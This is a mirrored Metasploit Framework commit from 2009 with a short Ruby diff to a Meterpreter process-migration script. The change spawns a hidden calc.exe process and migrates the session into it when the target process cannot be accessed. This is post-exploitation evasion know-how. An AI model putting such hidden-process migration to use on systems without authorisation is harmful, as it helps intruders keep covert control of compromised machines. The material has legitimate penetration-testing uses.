1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

Fall back to spawning a new calc.exe process and migratnig there

git-svn-id: file:///home/svn/framework3/trunk@6431 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore 2009-03-29 08:14:47 +00:00
parent 932bd89ac2
commit df2df5ca86

View File

@ -15,8 +15,11 @@ print_status("Current server process: #{server.name} (#{server.pid})")
# Get the target process pid
target_pid = client.sys.process[target]
if target_pid.nil?
raise ArgumentError, "Could not find target process: #{target}"
if not target_pid
print_error("Could not access the target process")
print_status("Spawning a calc.exe host process...")
calc = client.sys.process.execute('calc.exe', {'Hidden' => true })
target_pid = calc.pid
end
# Do the migration